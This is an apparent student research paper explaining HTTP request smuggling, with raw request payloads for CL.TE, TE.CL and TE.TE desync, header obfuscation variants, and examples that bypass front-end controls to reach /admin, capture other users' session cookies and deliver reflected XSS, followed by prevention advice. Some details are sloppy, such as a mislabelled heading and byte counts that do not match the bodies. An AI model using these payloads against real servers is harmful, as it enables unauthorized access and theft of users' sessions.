HTTP Request smuggling in web application

Kaushik Joshi[1], Mr. Chandresh Parekh[2]
[1]*Student at M. Tech, School of Information Technology & Cyber Security, Raksha Shakti University, Lavad, Dahegam, Gandhinagar, Gujarat, India*
[2.]*Dean, School of Information Technology & Cyber Security, Raksha Shakti University, Lavad, Dahegam, Gandhinagar, Gujarat, India*

***Abstract*- Now a day's cyber-attacks are increasing extremely on a web application, mobile apps, networks that are more vulnerable for a web application. HTTP requests are common viewed as remote, unaccompanied entities. Attackers simply modified requests and by the response of that request perform exploitation. Unauthenticated attackers delicately amend victims' requests to route them into the malicious territory, invoke harmful responses, and lure credentials into the open network. HTTP request smuggling attacks is one of the kinds of attack that triggered the back-end server through bypassing front-end server. In this paper, I'll show you how HTTP request smuggling attack performs in the real-time using website. By researching some of the articles and papers about this attack I'll figure out some methods of these attacks.**

***Index terms*- HTTP request smuggling, HTTP request smuggling in a web app, HTTP request smuggling attack, HTTP request smuggling vulnerability, Methods of HTTP request smuggling attack HTTP request spitting**

I.INTRODUCTION

HTTP request smuggling performs in that website which is use front-end and back-end server. HTTP request smuggling is a technique for inquisitive with the way a web site processes sequences of HTTP requests that are received from one or more users. When the front-end server deliver HTTP requests to the back-end server, it usually sends several requests over the same internal network connection, since it is more efficient. The flow is very straightforward: HTTP requests are sent one after another, and the receiving server analyzes the headers of the HTTP requests to determine where one request ends and the following begins.

Vulnerabilities related to HTTP request smuggling are often critical, allowing an attacker to bypass security measures, gain unauthorized access to sensitive data, and directly compromise the information of other users of the application

II. OVERVIEW

Today's web applications frequently employ chains of HTTP servers between users and the ultimate application logic. Users send requests to a front-end server (sometimes called a load balancer or reverse proxy) and this server forwards requests to one or more back-end servers. HTTP request smuggling is a web application vulnerability which allows an attacker to smuggle multiple HTTP requests by tricking the front-end (load balancer or reverse proxy) to forward multiple HTTP requests to a back-end server over the same network connection and the protocol used for the back-end connections carries the risk that the two servers disagree about the boundaries between requests.

It sends multiple modified requests to alter the server and get a specific response from the server. Sometimes it gets the main admin panel through the response. HTTP request smuggling enables various attacks – web cache poisoning, session hijacking, cross-site scripting, and most importantly, the ability to bypass web application firewall protection.

III. IMPLEMENTATION AND RESEARCH

1 HTTP request smuggling

HTTP request smuggling is a web attack used to gain unauthorized access to the web application. When the front-end server forwards HTTP requests to a back-end server, it typically sends several requests over the same back-end network connection. When Http requests travel through front-end to back-end server attacker modified that request and send an ambiguous

request that gets interpreted differently by the front-end and back-end systems.

Most HTTP request smuggling vulnerabilities arise because the HTTP specification provides two different ways to specify where a request ends: the Content-Length header and the Transfer-Encoding header

Content-Length: It specifies the length of the message body in bytes.

```
POST /search HTTP/1.1
Host: abc.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
```

Transfer-Encoding: It specifies that the message body uses chunked encoding.

```
POST /search HTTP/1.1
Host: abc.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
```

Methods of HTTP request smuggling

1. CL.TE
2. TE.CL
3. TE.TE

1 CL.TE (Content-length Transfer-encoding)

The front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header. We can perform a simple HTTP request smuggling attack

```
POST / HTTP/1.1
Host: abc.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
```

The front-end server processes the Content-Length header and determines that the request body is 6 bytes long, up to the end of X. This request is forwarded on to the backend server. The back-end server processes the Transfer-Encoding header, and so treats the message body as using chunked encoding.

2 CE.CL (Transfer-encoding Content-length)

The front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.

```
POST / HTTP/1.1
Host: abc.com
Content-Length: 3
Transfer-Encoding: chunked
8
X
0
```

The front-end server processes the Transfer-Encoding header, and so treats the message body as using chunked encoding. It processes the first chunk, which is stated to be 8 bytes long, up to the start of the line following X. It processes the second chunk, which is stated to be zero-length, and so is treated as terminating the request. This request is forwarded to the backend server.

The back-end server processes the Content-Length header and determines that the request body is 3 bytes long, up to the start of the line following 8. The following bytes, starting with X, are left unprocessed, and the back-end server will treat these as being the start of the next request in the sequence.

3 TE.TE (Transfer-encoding Transfer-encoding)

The front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

There different ways of the Transfer-Encoding header

```
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
```

IV. EXPLOITING

Exploiting HTTP request smuggling to bypass front-end security controls

Sometimes front-end server is used to implement some security controls like not allow to upload an

arbitrary file, cross-site scripting filtration, unauthorized access, etc.
HTTP request smuggling attack bypass that security controls and perform the unauthorized access.
For example,
One Http request is not authorized for users it is only accessible for admin. By HTTP request smuggling we can bypass that security control.
Suppose normal Http request is shown in below,

```
POST /home HTTP/1.1
Host: abc.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
file=abc.pfd
```

And the response of this is

```
HTTP/1.1 200 OK
Location: https://abc.com/
```

Now here we can modify this request and wants to get admin access,

```
POST /home HTTP/1.1
Host: abc.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: abc.com
Foo: xGET /home HTTP/1.1
Host: abc.com
```

The front-end server sees two requests here, both for /home, and so the requests are forwarded to the backend server. However, the back-end server sees one request for /home and one request for /admin. It assumes (as always) that the requests have passed through the front-end controls, and so grants access to the restricted URL.

Exploiting HTTP request smuggling to capturing other users' requests
Suppose an application uses the following request to submit a blog post comment, which will be stored and displayed on the blog and Http request for this is shown below,

```
POST /post/comment HTTP/1.1
Host: abc.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie:
session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&
postId=2&comment=My+comment&name=John+Gu
ru&email=john%40normal-
user.net&website=https%3A%2F%2Fnormal-
user.net
```

We can perform the following request smuggling attack, which smuggles the data storage request to the back-end server

```
GET / HTTP/1.1
Host: abc.com
Transfer-Encoding: chunked
Content-Length: 324
0

POST /post/comment HTTP/1.1
Host: abc.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie:
session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&
postId=2&comment=My+comment&name=John+Gu
ru&email=john%40normal-
user.net&website=https%3A%2F%2Fnormal-
user.net
```

When another user's request is processed by the backend server, it will be appended to the smuggled request, with the result that the user's request gets stored, including the victim user's session cookie and any other sensitive data.

```
POST /post/comment HTTP/1.1
Host: abc.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie:
session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&
postId=2&name=Carlos+Montoya&email=carlos%4
0normal-
user.net&website=https%3A%2F%2Fnormal-
user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie:
session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
```

We can then retrieve the details of the other user's request by retrieving the stored data in the normal way.

Exploiting HTTP request smuggling to exploit reflected XSS

If a website is vulnerable to HTTP request smuggling and also contains reflected XSS, you can use a request smuggling attack to hit other users of the application

Suppose an application has a reflected XSS vulnerability in the User-Agent header. You can exploit this in a request smuggling attack as follows:

```
POST / HTTP/1.1
Host: abc.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script> alert(1)</script>
Foo: X
```

The next user's request will be appended to the smuggled request, and they will receive the reflected XSS payload in the response.

V. PREVENTION

HTTP request smuggling vulnerabilities arise in situations where a front-end server forwards multiple requests to a back-end server over the same network connection, and the protocol used for the backend connection carries the risk that the two servers disagree about the boundaries between requests.

- Disable reuse of back-end connections, so that each back-end request is sent over a separate network connection.
- Use HTTP/2 for back-end connections, as this protocol prevents ambiguity about the boundaries between requests.
- Use the same web server software for the front-end and back-end servers, so that they agree about the boundaries between requests.

Sometimes vulnerabilities can be avoided by making the front-end server normalize ambiguous requests or making the back-end server reject ambiguous requests and close the network connection

Another solution is to use web-servers that employ a stricter HTTP parsing procedure, such as Apache (we found an HRS variant for Apache only when it served as both the W/S and cache server). Of course, switching to a different server is usually out of the question

VI. CONCLUSION

HTTP request smuggling is the most dangerous attack for retrieving unauthorized data, gain access to the legitimate user's confidential data. In this study how an attacker can perform HTTP request smuggling with different.

HTTP request smuggling is a significant and increasing threat to web applications. It alters and bypass the frontend server and gain sensitive data from the backend server. In future work I would like to work on prevention of that particular HTTP request smuggling attack and mitigation of its cause.

VII. ACKNOWLEDGMENT

The success and outcome of this research required a lot of guidance and assistance from many people and I am extremely privileged to have got this all along with the completion of my project. All that I have done is only due to such supervision and assistance and I would not forget to thank them.

I respect and thank Mr. Chandresh Parekh for providing me an opportunity to research this topic and giving me all support and guidance which made me complete the research duly. I am extremely thankful to him for providing such nice support and guidance, although he had a busy schedule managing the Institution affairs. I owe my deep gratitude to him, who took a keen interest in my research work and guided me all along, till the completion of my research work by providing all the necessary information for developing a good system.

REFERENCES

[1] A. Klein, "Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics." *Sanctum White Paper*, March 2004. http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

[2] 3APA3A, “Bypassing Content Filtering Whitepaper,” February 2002 (original paper date. The paper was last revised August 2004). http://www.security.nnov.ru/advisories/content.asp

[3] Rain Forest Puppy, "A look at whisker's anti-IDS tactics," December 1999.

http://www.ussrback.com/docs/papers/IDS/whiskerids.html

[4] J. Gettys, R. Fielding, J. Mogul, H. Frystyk, L. Masinter, P. Leach, and T. Berners-Lee, "Hypertext Transfer Protocol - HTTP/1.1." *RFC 2616*, June 1999. http://www.w3.org/Protocols/rfc2616/rfc2616

[5] J. Grossman, "Cross Site Tracing (XST)." *WhiteHat Security White Paper*, January 2003. http://www.cgisecurity.net/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf

[6] P. Watkins, "Cross Site Request Forgeries (CSRF)," *BugTraq posting*, June 2001. http://www.securityfocus.com/archive/1/191390

[7] "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests." February 2000. http://www.cert.org/advisories/CA-2000-02.html

[8] A. Klein, "Cross Site Scripting Explained." *Sanctum White Paper*, May 2002. http://crypto.stanford.edu/cs155/CSS.pdf

[9] James Kettle, "HTTP Desync Attacks: Request Smuggling Reborn" portswigger.net (Aug 7, 2019). [online] Available at. https://portswigger.net/ research/http-desync-attacks-request-smuggling-reborn